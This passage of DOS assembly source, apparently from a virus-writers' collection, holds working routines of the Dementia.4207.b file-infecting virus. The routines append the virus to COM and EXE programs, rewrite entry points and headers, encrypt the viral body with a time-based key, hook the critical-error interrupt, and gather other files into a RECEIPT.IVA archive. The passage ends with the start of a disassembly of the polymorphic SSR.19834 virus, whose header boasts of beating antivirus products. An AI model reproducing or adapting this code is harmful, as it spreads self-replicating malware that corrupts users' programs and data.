add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov cx,10h ; CX = number of bytes to add to f...


mov ax,[bp-04h] ; AX = filesize
and ax,0000000000001111b
sub cx,ax ; CX = number of bytes to add to f...

mov ax,[bp-04h] ; AX = filesize


add ax,cx ; AX = offset of virus within file
mov [bp-04h],ax ; Store offset of virus within file

call write_file_

mov cx,(code_end-code_begin)
call write_file

mov al,0e9h ; JMP imm16 (opcode 0e9h)


mov ds:[00h],al ; Store JMP imm16

mov ax,[bp-04h] ; AX = filesize


sub ax,03h ; Subtract size of opcode JMP imm16
mov ds:[01h],ax ; Store 16-bit immediate

call set_pos_sof

mov cx,03h ; Write three bytes


call write_file
inf_com_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

infect_exe proc near ; Infect EXE file


push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer

mov ah,01h ; EXE executable


nop
nop
mov cs:[com_or_exe],ah ; Store EXE executable

call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize

and ax,0000000000001111b
mov cx,10h ; CX = number of bytes to add to f...
sub cx,ax ; CX = " " " " " " "

mov ax,[bp-04h] ; AX = low-order word of filesize


mov dx,[bp-02h] ; DX = high-order word of filesize
add ax,cx ; Add number of bytes to add to fi...
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...

call write_file_

push bx ; Save BX at stack


mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...

mov bx,ds:[08h] ; BX = header size in paragraphs


mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
sub dx,bx ; Subtract header size in sixty fi...

mov bx,ds:[08h] ; BX = header size in paragraphs


mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
sub ax,bx ; Subtract header size from filesize
sbb dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack

mov ax,ds:[14h] ; AX = original instruction pointer


mov cs:[instruct_ptr],ax
mov ax,ds:[16h] ; AX = original code segment
mov cs:[code_seg],ax ; Store original code segment

xor ax,ax ; Zero AX


mov ds:[14h],ax ; Store initial IP
mov cs:[initial_ip],ax ; Store " "

mov ax,[bp-02h] ; AX = high-order word of pointer ...


test ax,1111111111110000b
jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr

jmp inf_exe_exit
calc_ins_ptr:
mov cl,0ch
shl ax,cl ; Multiply by sixty-five thousand ...

mov dx,[bp-04h] ; DX = low-order word of pointer t...


mov cl,04h ; Divide by paragraphs
shr dx,cl ; DX = low-order word of pointer t...
add ax,dx ; AX = initial CS relative to star...
mov ds:[16h],ax ; Store initial CS relative to sta...
mov cs:[initial_cs],ax ; " " " " " "

push ax ; Save AX at stack


mov ax,ds:[0eh] ; AX = initial SS relative to star...
mov cs:[stack_seg],ax ; Store initial SS relative to sta...
mov ax,ds:[10h] ; AX = initial SP
mov cs:[stack_ptr],ax ; Store initial SP
pop ax ; Load AX from stack

add ax,(code_end-code_begin+0fh)/10h
jae store_stack ; Above or equal? Jump to store_stack

jmp inf_exe_exit
store_stack:
mov ds:[0eh],ax ; Store initial SS relative to sta...
mov ax,100h ; AX = initial SP
mov ds:[10h],ax ; Store initial SP

push bx ; Save BX at stack


mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...

mov bx,ds:[08h] ; BX = header size in paragraphs


mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
add dx,bx ; Add header size in sixty-five th...

mov bx,ds:[08h] ; BX = header size in paragraphs


mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
add ax,bx ; Add header size to filesize
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack

mov ax,[bp-04h] ; AX = low-order word of pointer t...


mov dx,[bp-02h] ; DX = high-order word of pointer ...
add ax,(code_end-code_begin)
adc dx,00h ; Convet to 32-bit

mov cl,07h
shl dx,cl ; Multiply by one hundred and twen...

push ax ; Save AX at stack


mov cl,09h ; Divide by pages
shr ax,cl ; AX = low-order word of pointer t...
add dx,ax ; DX = number of bytes on last 512...
pop ax ; Load AX from stack

and ax,0000000000011111b
jz store_pages ; Zero? Jump to store_pages

inc dx ; Increase number of bytes on last...

jmp store_pages_
store_pages:
mov ax,200h ; AX = total number of 512-bytes p...
store_pages_:
mov ds:[02h],ax ; Store total number of 512-bytes ...
mov ds:[04h],dx ; Store number of bytes on last 51...

mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc...


cmp ax,10h ; Maximum paragraphs to allocate ...?
jae store_maximu ; Above or equal? Jump to store_ma...

mov ax,10h ; AX = new maximum paragraphs to a...


store_maximu:
mov ds:[0ch],ax ; Store maximum paragraphs to allo...

call set_pos_sof

mov cx,20h ; Write thirty-two bytes


call write_file

call set_pos_eof

call encrypt_copy
mov cx,(code_end-code_begin)
call write_file
inf_exe_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

encrypt_copy proc near ; Move virus to data buffer and en...


push bx ; Save BX at stack

mov ah,2ch ; Get system time


int 21h
mov bx,cx ; BX = hour and minute
xor bx,dx ; BX = 16-bit random number

mov ah,2ah ; Get system date


int 21h
xor bx,cx ; BX = 16-bit random number
xor bx,dx ; BX = decryption key
mov dx,bx ; DX = " "

mov cs:[decrypt_key],dx ; Store decryption key

pop bx ; Load BX from stack

cld ; Clear direction flag


mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov es,ax ; ES = segment of data buffer

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

xor si,si ; Zero SI


xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to data buffer

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

lea si,crypt_begin-02h ; SI = offset of crypt_end


mov di,si ; DI = " " "
mov cx,(crypt_begin-crypt_end-02h)/02h

std ; Set direction flag


encrypt_loop:
lodsw ; AX = word of plain code
xor ax,dx ; Encrypt word
stosw ; Store encrypted word

loop encrypt_loop

cld ; Clear direction flag

ret ; Return!
endp

int24_store proc near ; Get and set interrupt vector 24h


push bx dx ds es ; Save registers at stack

mov ax,3524h ; Get interrupt vector 24h


int 21h
mov word ptr cs:[int24_addr],bx
mov word ptr cs:[int24_addr+02h],es

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

lea dx,int24_virus ; DX = offset of int24_virus


mov ax,2524h ; Set interrupt vector 24h
int 21h

pop es ds dx bx ; Load registers from stack

ret ; Return!
endp

int24_load proc near ; Set interrupt vector 24h


push dx ds ; Load registers from stack

mov dx,word ptr cs:[int24_addr]


mov ds,word ptr cs:[int24_addr+02h]
mov ax,2524h ; Set interrupt vector 24h
int 21h

pop ds dx ; Load registers from stack

ret ; Return!
endp

int24_virus proc near ; Interrupt 24h of Dementia.4207.b


mov al,03h ; Fail system call in progress

iret ; Interrupt return!


endp

calc_crc32 proc near ; Calculate CRC-32 checksum


mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

add ax,40h ; AX = segment of CRC-32 table


mov es,ax ; ES = " " " "

xor di,di ; Zero DI


xor cx,cx ; Zero CX
gen_crc_tab:
xor dx,dx ; Zero DX
xor ax,ax ; Zero AX

mov al,cl ; AL = counter


push cx ; Save CX at stack
mov cx,08h ; Calculate each CRC-32 table entr...
gen_crc_loop:
clc ; Clear carry flag
rcr dx,01h ; Rotate DX through carry one bit ...
rcr ax,01h ; Rotate AX through carry one bit ...
jnc carry_loop ; No carry? Jump to carry_loop

xor dx,0edb8h ; DX = high-order word of CRC-32 t...


xor ax,8320h ; AX = low-order word of CRC-32 ta...
carry_loop:
loop gen_crc_loop

mov es:[di],ax ; Store low-order word of CRC-32 t...


mov es:[di+02h],dx ; Store high-order word of CRC-32 ...

add di,04h ; DI = offset of next CRC-32 table...

pop cx ; Load CX from stack


inc cx ; Increase count register
cmp cx,100h ; Generated enough CRC-32 table en...
jne gen_crc_tab ; Not equal? Jump to gen_crc_tab

call set_pos_sof

mov dx,0ffffh ; DX = high-order word of CRC-32 c...


mov ax,0ffffh ; AX = low-order word of CRC-32 ch...
read_block:
push ax dx ; Save registers at stack
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je calc_crc_xit ; Equal? Jump to calc_crc_xit

mov cx,ax ; CX = number of bytes actually read

pop dx ax ; Load registers from stack

xor si,si ; Zero SI


cal_crc_loop:
push bx cx ; Save registers at stack
xor bh,bh ; Zero BH
mov bl,[si] ; BL = byte of file
inc si ; Increase index register

xor bl,al ; Exclusive OR (XOR) byte of file ...


mov cl,02h
shl bx,cl ; Multiply by four
mov di,bx ; DI = offset of next CRC-32 table...

mov al,ah ; AL = low-order byte of low-order...


mov ah,dl ; AH = high-order byte of low-orde...
mov dl,dh ; DL = low-order byte of high-orde...
xor dh,dh ; Zero DH

mov bx,es:[di] ; BX = low-order word of CRC-32 ta...


xor ax,bx ; AX = low-order word of CRC-32 ch...
mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t...
xor dx,bx ; DX = high-order word of CRC-32 c...

pop cx bx ; Load registers from stack

loop cal_crc_loop

jmp read_block
calc_crc_xit:
pop dx ax ; Load registers from stack

xor dx,0ffffh ; DX = high-order word of CRC-32 c...


xor ax,0ffffh ; AX = low-order word of CRC-32 ch...

ret ; Return!
endp
create_recei proc near ; Create RECEIPT.IVA file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,12h ; Correct stack pointer

mov [bp-08h],ax ; Store number of file specifications


mov [bp-10h],bx ; Store file handle of RECEIPT.IVA
mov [bp-02h],dx ; Store store or don't store backs...
mov [bp-06h],ds ; Store segment of file specificat...

mov ah,3bh ; Set current directory

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

xor dx,dx ; Zero DX


int 21h

mov ax,[bp-08h] ; AX = number of file specifications


xor cx,cx ; Zero CX
mov cl,al ; CL = number of file specifications
xor dx,dx ; Zero DX
find_first_:
mov ds,[bp-06h] ; DS = segment of file specification
push cx ; Save CX at stack
mov cx,0000000000000111b
call find_first
push dx ; Save DX at stack
jnc find_next_ ; No error? Jump to find_next_

jmp fnd_nxt_loop
find_next_:
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area

mov dx,1eh ; DX = offset of filename


call open_file
mov [bp-12h],ax ; Store file handle of file within...

mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA


call set_pos_eof

push ds ; Save DS at stack


mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov ds,ax ; DS = segment of end of pathname

mov cx,40h ; Write sixty-four bytes


mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
pop ds ; Load DS from stack

mov cx,0eh ; Write fourteen bytes


mov dx,1eh ; DX = offset of filename
call write_file_

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h+4ch
mov ds,ax ; DS = segment of data buffer

mov bx,[bp-12h] ; BX = file handle of file within ...


call set_pos_eof
mov ds:[00h],ax ; Store low-order word of filesize
mov ds:[02h],dx ; Store high-order word of filesize

mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA


mov cx,04h ; Write four bytes
call write_file

mov bx,[bp-12h] ; BX = file handle of file within ...


call set_pos_sof
copy_file:
mov bx,[bp-12h] ; BX = file handle of file within ...
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je call_fnd_nxt ; Equal? Jump to call_fnd_nxt

mov cx,ax ; CX = number of bytes actually read


mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file

jmp copy_file
call_fnd_nxt:
mov bx,[bp-12h] ; BX = file handle of file within ...
call close_file

call find_next
jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop

jmp find_next_
fnd_nxt_loop:
pop dx cx ; Load registers from stack

add dx,0eh ; DX = offset of next file specifi...

dec cx ; Decrease count register


cmp cx,00h ; No more files?
je copy_name ; Equal? Jump to copy_name

jmp find_first_
copy_name:
xor cx,cx ; Zero CX
find_first__:
push cx ; Save CX at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,file_specifi ; DX = offset of file_specifi


nop
mov cx,0000000000010111b
call find_first
jc receip_exit ; Error? Jump to receip_exit

pop cx ; Load CX from stack


push cx ; Save CX at stack

jmp test_count
found_dir:
push cx ; Save CX at stack

mov cx,01h ; Don't examine disk transfer area


test_count:
cmp cx,00h ; Examine disk transfer area?
je examine_dta ; Equal? Jump to examine_dta

call find_next
jc receipt_exit ; Error? Jump to receipt_exit

dec cx ; Decrease CX

jmp test_count
examine_dta:
pop cx ; Load CX from stack
inc cx ; Increase count register

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h+44h
mov es,ax ; ES = segment of end of pathname
add ax,04h ; AX = segment of disk transfer area
mov ds,ax ; DS = " " " " "

mov si,15h ; SI = offset of attribute of file...


lodsb ; AL = attribute of file found
test al,00010000b ; Directory?
je found_dir ; Equal? Jump to found_dir

mov si,1eh ; SI = offset of filename


lodsb ; AL = byte of filename
cmp al,'.' ; Directory?
je found_dir ; Equal? Jump to found_dir

mov ax,[bp-02h] ; AX = store or don't store backslash


mov di,ax ; DI = offset of end of pathname
mov si,1eh ; SI = offset of filename
cmp al,01h ; Don't store backslash?
je copy_name_ ; Equal? Jump to copy_name_

mov al,'\' ; AL = backslash


stosb ; Store backslash
copy_name_:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je store_zero ; Equal? Jump to store_zero

stosb ; Store byte of filename

jmp copy_name_
store_zero:
mov dx,di ; DX = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero

mov ax,[bp-08h] ; AX = number of file specifications


mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov ds,[bp-06h] ; DS = segment of file specifictions
push cx ; Save CX at stack
call create_recei
pop cx ; Load CX from stack

mov ah,3bh ; Set current directory

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

xor dx,dx ; Zero DX


mov di,[bp-02h] ; DI = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero

int 21h

jmp find_first__
receipt_exit:
pop cx ; Load CX from stack
receip_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

open_file proc near ; Open file


mov ax,3dffh ; Open file
xor cx,cx ; CL = attribute mask of files to ...
int 21h
mov bx,ax ; BX = file handle

ret ; Return!
endp

close_file proc near ; Close file


mov ah,3eh ; Close file
int 21h

ret ; Return!
endp

find_first proc near ; Find first matching file


mov ax,4e00h ; Find first matching file
int 21h

ret ; Return!
endp

find_next proc near ; Find next matching file


mov ah,4fh ; Find next matching file
int 21h

ret ; Return!
endp

load_info proc near ; Get file's date and time


mov ax,5700h ; Get file's date and time
int 21h
mov [bp-04h],cx ; Store file time
mov [bp-02h],dx ; Store file date

ret ; Return!
endp

infect_mark proc near ; Infection mark


mov ax,5701h ; Set file's date and time
mov cx,[bp-04h] ; CX = file time
mov dx,[bp-02h] ; DX = file date
and cx,1111111111100000b
or cx,0000000000000001b
int 21h
ret ; Return!
endp

read_file proc near ; Read from file


xor dx,dx ; Zero DX

read_file_ proc near ; Read from file


mov ah,3fh ; Read from file
int 21h

ret ; Return!
endp
endp

create_file proc near ; Create file


mov ah,3ch ; Create file

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

xor cx,cx ; CX = file attributes


int 21h

ret ; Return!
endp

write_file proc near ; Write to file


xor dx,dx ; Zero DX

write_file_ proc near ; Write to file


mov ah,40h ; Write to file
int 21h

ret ; Return!
endp
endp

set_pos_cfp proc near ; Set current file position (CFP)


mov ax,4201h ; Set current file position (CFP)
int 21h

ret ; Return!
endp

set_pos_eof proc near ; Set current file position (EOF)


mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
cwd ; Zero DX
int 21h

ret ; Return!
endp

set_pos_sof proc near ; Set current file position (SOF)


xor cx,cx ; Zero CX
xor dx,dx ; Zero DX

set_pos_sof_ proc near ; Set current file position (SOF)


mov ax,4200h ; Set current file position (SOF)
int 21h

ret ; Return!
endp
endp

delete_file proc near ; Delete file


push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov ah,41h ; Delete file


xor cx,cx ; CL = attribute mask for deletion
int 21h

ret ; Return!
endp
file_begin:
mov cx,(crypt_end_-crypt_begin_)/02h
mov si,(crypt_begin_-file_begin+100h)
mov di,si ; DI = offset of crypt_begin_
mov dx,1995h ; DX = decryption key

push cs cs ; Save segments at stack


pop ds es ; Load segments from stack (CS)
decrypt_loo_:
lodsw ; AX = word of encrypted code
xor ax,dx ; Decrypt two bytes
stosw ; Store two decrypted bytes

jmp decrypt_lo__
decrypt_lo__:
loop decrypt_loo_
crypt_begin_:
mov ax,01h ; Set video mode
int 10h

mov ax,0b800h ; AX = segment of text video RAM


mov es,ax ; ES = " " " " "

xor di,di ; Zero DI


mov cx,3e8h ; Store one thousand bytes
mov ax,0f20h ; Bright white background color, g...
rep stosw ; Overwrite text video RAM

xor di,di ; Zero DI


mov si,(gfx_begin-file_begin+100h)
mov cx,(gfx_end-gfx_begin)
load_gfx:
lodsb ; AL = byte of gfx_begin
cmp al,0ffh ; Write a string?
jne store_gfx ; Not equal? Jump to store_gfx

lodsb ; AL = byte of gfx_begin


dec cx ; Derease count register
cmp al,0ffh ; Write a single character?
je store_gfx ; Equal? Jump to store_gfx

push cx si ds ; Save registers at stack


xor cx,cx ; Zero CX
mov cl,al ; CL = size of string
lodsb ; AL = byte of gfx_begin
mov bl,al ; BL = low-order byte of offset of...
lodsb ; AL = byte of gfx_begin
mov bh,al ; BH = high-order byte of offset o...
mov si,bx ; SI = offset of string within gfx...
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

rep movsb ; Move string to text video RAM


pop ds si cx ; Load registers at stack

add si,02h ; Add two to index register

sub cx,02h ; Subtract two from count register

jmp dont_sto_gfx
store_gfx:
stosb ; Store a byte of gfx_begin
dont_sto_gfx:
loop load_gfx

mov ah,01h ; Set text-mode cursor shape


mov cx,2020h ; CX = cursor start, options, botto...
int 10h

mov ax,600h ; Scroll up window (clear entire w...)


mov cx,1700h ; CX = row and column of window's u...
mov dx,174fh ; DX = row and column of window's l...
mov bh,03h ; BH = attributes used to write bla...
int 10h

xor bx,bx ; BH = page number


mov dx,1600h ; DX = row and column
mov ah,02h ; Set cursor position
int 10h

mov bx,05h ; BX = attribute and page number


mov cx,28h ; CX = number of times to write ch...
mov ax,9c4h ; Write character and attribute at...
push ax bx cx ; Save registers at stack
int 10h

mov dx,1800h ; DX = row and column


mov ah,02h ; Set cursor position
int 10h

pop cx bx ax ; Load registers from stack


int 10h

mov bp,27h ; BP = length of row - 01h


prepare_tele:
mov dx,1700h ; DX = row and column
call set_cursor

cmp bp,01h ; Beginning of row?


jb examine_str ; Below? Jump to examine_str

mov cx,bp ; CX = number of times to write ch...


mov ax,0a20h ; Write character only at cursor p...
int 10h

add dx,cx ; Add current position in row to c...


call set_cursor

mov cx,28h ; CX = length of row


sub cx,bp ; Subtract current position in row...
dec bp ; Decrease base pointer
mov si,(_dementia_v-file_begin+100h)

jmp call_teletyp
examine_str:
mov cx,28h ; CX = length of row
inc si ; Increase index register

cmp byte ptr [si],00h ; End of string?


jne call_teletyp ; Not equal? Jump to call_teletyp

mov si,(_dementia_v-file_begin+100h)
call_teletyp:
push si ; Save SI at stack
call teletype_str
pop si ; Load SI from stack

jmp prepare_tele

teletype_str proc near ; Teletype string


lodsb ; AL = byte of _dementia_v
cmp al,00h ; End of string?
jne teletype_out ; Not equal? Jump to teletype_out

mov si,(_dementia_v-file_begin+100h)

jmp teletype_str
teletype_out:
mov ah,0eh ; Teletype output
int 10h

mov ah,01h ; Check for keystroke


int 16h
jnz hot_bbs_exit ; Keystroke available? Jump to hot...

loop teletype_str

mov cx,0fh ; PUSH/POP/LOOP fifteen times


loop_:
push cx ; Save CX at stack
xor cx,cx ; Zero CX
loop__:
loop loop__

pop cx ; Load CX from stack

loop loop_

ret ; Return!
endp
hot_bbs_exit:
mov ax,0c02h ; Flush buffer and read standard i...
int 21h

call cls_effect

mov ax,03h ; Set video mode


int 10h

mov ah,09h ; Write string to standard output


mov dx,(_c__little_l-file_begin+100h)
int 21h

mov ax,4c00h ; Terminate with return code


int 21h

set_cursor proc near ; Set cursor position


mov ah,02h ; Set cursor position
int 10h

ret ; Return!
endp

_dementia_v db '[Dementia v1.5b] -= 4 Ball Cafe''=- '


db '(801) PRI-VATE ì VX Support BBS ì USR Dual 28.8k ì'
db ' 2 nodes -=*=- ',00h
_c__little_l db '(C) Little Loc July ''94$'
gfx_begin db 0ffh,1ah,00h,00h,44h,09h,65h,09h,6dh,09h,65h,09h,6eh,09h
db 74h,09h,69h,09h,61h,09h,20h,09h,20h,09h,76h,09h,31h,09h
db 2eh,09h,35h,09h,62h,09h,0ffh,2ah,3ah,00h,28h,09h,43h,09h
db 29h,09h,20h,09h,4ah,09h,75h,09h,6eh,09h,65h,09h,20h,09h
db 27h,09h,39h,09h,34h,09h,20h,09h,2dh,09h,4eh,09h,65h,09
db 63h,09h,72h,09h,6fh,09h,73h,09h,6fh,09h,66h,09h,74h,09h
db 0ffh,0c6h,92h,00h,0dbh,0a0h,0ffh,0eh,5ah,01h,0b0h,3bh
db 0ffh,3fh,18h,01h,0c0h,0ffh,0ch,0bah,01h,0b1h,3bh,0b1h,3bh
db 0b1h,3bh,0ffh,48h,6ah,01h,0b2h,3bh,0ffh,08h,02h,02h,0ffh
db 3ah,0beh,01h,0dbh,0c0h,0ffh,0ah,0ach,01h,20h,6bh,0dch,68h
db 20h,68h,0dch,68h,20h,68h,0b1h,3bh,0ffh,42h,0c0h,01h,20h
db 0e0h,20h,0e0h,0bfh,68h,7eh,68h,0dah,68h,20h,68h,20h,68h
db 0ffh,37h,0eh,02h,0e0h,0ffh,06h,0e4h,02h,20h,0a0h,0ffh,06h
db 0ech,02h,0c0h,68h,0c4h,68h,0d9h,68h,20h,28h,0ffh,06h,0fah
db 02h,0ffh,08h,0e4h,02h,0dbh,0e0h,0ffh,2eh,6ch,02h,0dbh,86h
db 0dbh,86h,20h,86h,20h,0a6h,20h,0a6h,0cdh,2ah,0cbh,2ah,0cdh
db 2ah,20h,2ah,20h,2ah,20h,0fh,0dbh,86h,0dbh,86h,0ffh,30h
db 66h,02h,0ffh,0dh,34h,03h,86h,20h,0a6h,20h,0a6h,0bah,0ffh
db 07h,49h,03h,0ffh,07h,38h,03h,0ffh,3bh,79h,01h,20h,0fh,20h
db 90h,20h,0a0h,20h,0ffh,06h,0e3h,03h,0ffh,07h,9fh,00h,0dch
db 86h,0dch,86h,0ffh,39h,0a8h,03h,90h,20h,0ffh,0bh,31h,04h
db 0dbh,81h,0ffh,05h,3eh,04h,86h,0dbh,86h,0ffh,39h,48h,04h
db 96h,0ffh,05h,80h,04h,0fh,0dbh,90h,0dbh,90h,0dbh,90h,0ffh
db 41h,8eh,04h,0e0h,0ffh,05h,0ceh,04h,0ffh,05h,09h,05h,0ffh
db 06h,0e6h,02h,0ffh,0feh,0e0h,04h,0ffh,0ceh,0e0h,04h,50h
db 08h,72h,08h,65h,08h,73h,08h,73h,08h,20h,08h,61h,08h,6eh
db 08h,79h,08h,20h,08h,6bh,08h,65h,08h,79h,08h,0ffh,1ah,0e0h
db 04h
gfx_end:
cls_effect proc near ; Clear screen effect
push ax bx cx dx si di ss sp

mov ax,0b800h ; AX = segment of text video RAM


mov es,ax ; ES = " " " " "

mov word ptr ds:[(count-file_begin+100h)],0ch


mov word ptr ds:[(count_-file_begin+100h)],0d0h
reset_count:
mov ax,word ptr ds:[(count_-file_begin+100h)]
mov word ptr ds:[(count__-file_begin+100h)],ax
reset_regs:
mov word ptr ds:[(row_count-file_begin+100h)],13h
mov word ptr ds:[(column_count-file_begin+100h)],01h

mov di,3d8h ; DI = offset of lower left corner...

mov ax,word ptr ds:[(count-file_begin+100h)]


mov word ptr ds:[(count___-file_begin+100h)],ax
reset_cx:
mov cx,word ptr ds:[(row_count-file_begin+100h)]
dec cx ; Decrease row counter

push ds ; Save DS at stack


push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov si,di ; SI = offset within segment of te...


add si,02h ; Add two to the index register

cld ; Clear direction flag


rep movsw ; Move two byte to the right
pop ds ; Load DS from stack

mov cx,word ptr ds:[(column_count-file_begin+100h)]

push ds ; Save DS at stack


push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov si,di ; SI = offset within segment of te...


sub si,50h ; Subtract eighty from the index r...
mov ax,52h ; Subtract eigty-two from both reg...

cld ; Clear direction flag


move_up:
movsw ; Move two bytes a column up

sub di,ax ; Subtract eighty-two from the ind...


sub si,ax ; " " " " "

loop move_up
pop ds ; Load DS from stack

mov cx,word ptr ds:[(row_count-file_begin+100h)]

push ds ; Save DS at stack


push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov si,di ; SI = offset within segment of te...


sub si,02h ; Subtract two from the index regi...

std ; Set direction flag


rep movsw ; Move two bytes to the left
pop ds ; Load DS from stack

mov cx,word ptr ds:[(column_count-file_begin+100h)]


inc cx ; Increase column counter

push ds ; Save DS at stack


push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov si,di ; SI = offset within segment of te...


add si,50h ; Add eighty to the index register
mov ax,52h ; Add eighty-two to both index reg...

std ; Set direction flag


move_down:
movsw ; Move two bytes a column down

add di,ax ; Add eighty-two to the index regi...


add si,ax ; " " " " " "
loop move_down
pop ds ; Load DS from stack

add word ptr ds:[(row_count-file_begin+100h)],02h


add word ptr ds:[(column_count-file_begin+100h)],02h

dec word ptr ds:[(count___-file_begin+100h)]


jnz reset_cx ; Not zero? Jump to reset_cx

dec word ptr ds:[(count__-file_begin+100h)]


jz sub_count_ ; Zero? Jump to sub_count_

jmp reset_regs
sub_count_:
sub word ptr ds:[(count_-file_begin+100h)],08h

dec word ptr ds:[(count-file_begin+100h)]


jz cls_exit ; Zero? Jump to cls_exit

jmp reset_count
cls_exit:
pop sp ss di si dx cx bx ax

ret ; Return!
endp

count___ dw 00h ; Counter


count_ dw 00h ; Counter
count__ dw 00h ; Counter
row_count dw 00h ; Row counter
column_count dw 00h ; Column counter
count dw 00h ; Counter
crypt_end_:
file_end:
temp_file db '!#TEMP#!',00h ; Temporary file
request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA
filename db 0dh dup(?) ; Filename
receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA
hot_bbs__com db 'HOT_BBS!.COM',00h ; HOT_BBS!.COM
file_specifi db '*.*',00h ; File specification
origin_code db 0cdh,21h,? ; Original code of infected COM file
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
com_or_exe db 00h ; COM or EXE executable
stack_ptr dw ? ; Original stack pointer
stack_seg dw ? ; Original stack segment
instruct_ptr dw ? ; Original instruction pointer
code_seg dw ? ; Original code segment
initial_ip dw ? ; Initial IP
initial_cs dw ? ; Initial CS relative to start of ...
code_seg_ dw ? ; Code segment
tst_filesize dw 00h ; Test or don't test filesize
db '[Necrosoft.Dementia.Troll]',00h,0dh,0ah
db 'Copyright 1994 Necrosoft enterprises - All rights reserved',00h,0dh,0ah
db 'I knew all along that she was the one, ',0dh,0ah
db ' but I hid it down deep inside. ',0dh,0ah
db 'I couldn''t bring myself to tell her, ',0dh,0ah
db ' no matter how I tried. ',0dh,0ah,00h
db 16h dup(00h)
crypt_begin:
code_end:
data_end:
prepare_demt proc near ; Prepare Dementia.4207.b
lea di,crypt_begin_+100h
mov cx,(crypt_end_-crypt_begin_)/02h
encrypt_loo_:
xor [di],1995h ; Encrypt two bytes
inc di ; Increase index register
inc di ; " " "
loop encrypt_loo_

mov [call_imm16+100h],cx

jmp delta_offset
endp

end code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ SSR.19834 ³
; ³ or Revenge 2.05 ³
; ³ Disassembled by ³
; ³ Tcp/29A ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
; This is one of the biggest known viruses and probably the most encrypted
; one: four different polymorphic decryption bucles. Only these bucles waste
; more than 7k of code. About the virus itself, it has many interesting fea-
; tures, it was coded in a pretty uncommon way tho... there's code not used,
; it's not optimized, and has a lot of messages, apparently (i can't unders-
; tand russian :) messing with some AVers. This virus seems to be an attempt
; to laugh about the deficiencies of some antiviruses (and exploit them) ra-
; ther than writing a virus itself. By the end of the viral code, appear 921
; bytes i didn't include in the disassembly as they have nothing to do with
; the virus, albeit they will be added to every infected file. I guess these
; bytes being copied are due to the fact that SSR left enough room for its 3
; engines and eventually forgot to readjust the size. The binary file inclu-
; ded in the \FILES directory is infected with an original copy of the virus
; and not with what you can get from the assembly of this file (because this
